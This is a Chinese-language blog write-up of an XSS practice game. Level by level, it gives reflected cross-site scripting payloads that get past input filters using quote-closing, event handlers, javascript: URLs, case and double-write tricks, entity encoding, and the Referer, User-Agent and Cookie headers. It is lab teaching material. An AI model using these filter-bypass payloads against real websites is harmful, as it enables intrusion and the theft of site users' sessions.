xss games20关小游戏附源代码

1.

1397720-20180807003301956-648566404.png

get方式的的值直接输出来了。

?name=<script>alert(1)</script>

2.

1397720-20180807003314940-639956145.png

同样没有过滤,不过需要闭合前边的双引号和>。
"><script>alert(1)</script>

3.

1397720-20180807003324725-1848257252.png

1397720-20180807003335151-1282134212.png

用htmlspecialchar函数对输入的值做了一个过滤。这个函数过滤 < > " & '但是他这个也存在过滤方法

w3c上的。很明显,他这里没有加ENT_QUOTES,是默认的形式,所以不过滤单引号。另外绕过<>的过滤,就用onXX事件,这里我用onclick。
' onclick=alert(1)//

4.

1397720-20180807003344139-713588049.png

只是过滤了<>,比上一关还简单 。

" onclick=alert(1)//

5.

1397720-20180807004252443-1786078067.png

<script过滤为<scr_ipt,on过滤为o_n,我们可以考虑javascript伪协议。过滤的是<script,script是不会被过滤的。

"><a href=javascript:alert(1)>111</a>

6.

1397720-20180807003402617-180621913.png

过滤了<script,on,src,data,href。看起来是没有办法,但是他这里忘了对get方式得到的keyword的值进行小写的函数,所以,大小写绕过。

" oNclick=alert(1)//

7.

1397720-20180807004312387-754116061.png

仔细观察过滤的函数,与前边过滤不用的是,他是把敏感的字符替换为空,而且是替换一次。 双写绕过。
"><a hrhrefef=javascrscriptipt:alert(1)>111</a>
注意观察href和script哦。

8.

1397720-20180807004323252-860474166.png

href都给你写好了。直接javascript,但是要注意script这里过滤了,但是javascript可以进行html编码,注意不能是url编码哟,这样url解析器会识别不出来什么协议。还有就是对script之间的一个或多个单词编码。

javasc&#x72;ipt:alert(1)

9.

1397720-20180807003431224-1026270155.png

和上一关基本一样,可是你输入中必须有http://,直接把这个http://写这是后边。这样,http://不但出现在了你输入的字符串里,而且被注释掉了不起任何作用

javasc&#x72;ipt:alert(1)//http://

10.

1397720-20180807003441990-1360713699.png

他这里有两个get可以得到的参数的值,keyword可以得到,但是代码中并没有有关keyword得到的值的输出。看代码,还可以用t_sort得到值,我们可以构造script的方式来让他产生弹框。构造:"><script>alert(1)<script><" (注意前后的闭合) 。但是这里过滤掉了<>,所有考虑onclick事件,值得注意的是:input的type属性不是text,而是hidden,这意味我们不能通过点击输入框来让他弹框。所以我们还有加一条type="text",然后注释掉type=hiden。

t_sort=" onclick=alert(1) type=text//

11.

1397720-20180807004351399-1653683544.png

和上一题一个思路,只不过注入点到了http_reference,抓包,修改Referer的值

Referer: " onclick=alert(1) type=text//

12.

1397720-20180807004407135-1111273488.png

抓包修改user-angent的值

User-Agent:" onclick=alert(1) type=text//

13.

抓包修改cookie的值,user=不要删除了哟

1397720-20180807003504979-2145453348.png

Cookie: user=" onclick=alert(1) type=text//

14.

没看懂。。。

15.

也不会

16.

1397720-20180807003516735-637452394.png

过滤了空格,script,/。我们可以想到用回车或者换行的html编码来绕过。%0a,%0d。
这里讲一下为什么要过滤/,因为他不想让你用必须闭合的标签。比如<a href></a>,这里过滤/这种就不能用了。但是我根据写html的经验,<a>位于<center></center>中,就算没有</a>他也能够创造链接(这里不影响到其他的内容),并且成功执行。这里,我就偏用<a href>.
然后我对javascript的某个字符编码,从而绕过script的过滤。对R编码。->&#x72;->%26%23x72%3B
为什么要进行编码?&#都比较特殊,一开始浏览器不会对他进行编码,而#有截断的功能,所以浏览器压根收不到后边的内容,但实现进行url编码,浏览器要先显示这些字符的时候url解码,就完美地还原出&#这符号了,你看第八关为什么可以直接&#x72;我也不是很清楚,做了个小实验:
1397720-20180807213735645-872124534.png

输入&#72;get方式那里会自动给他编码,可能提交的方式,或者其他的形式不同吧。
?keyword=<a%0Ahref=javasc%26%23%78%37%32%3Bipt:alert(1)>a

下载链接:https://files.cnblogs.com/files/Eleven-Liu/xss练习小游戏.zip

转载于:https://www.cnblogs.com/zaqzzz/p/9434388.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值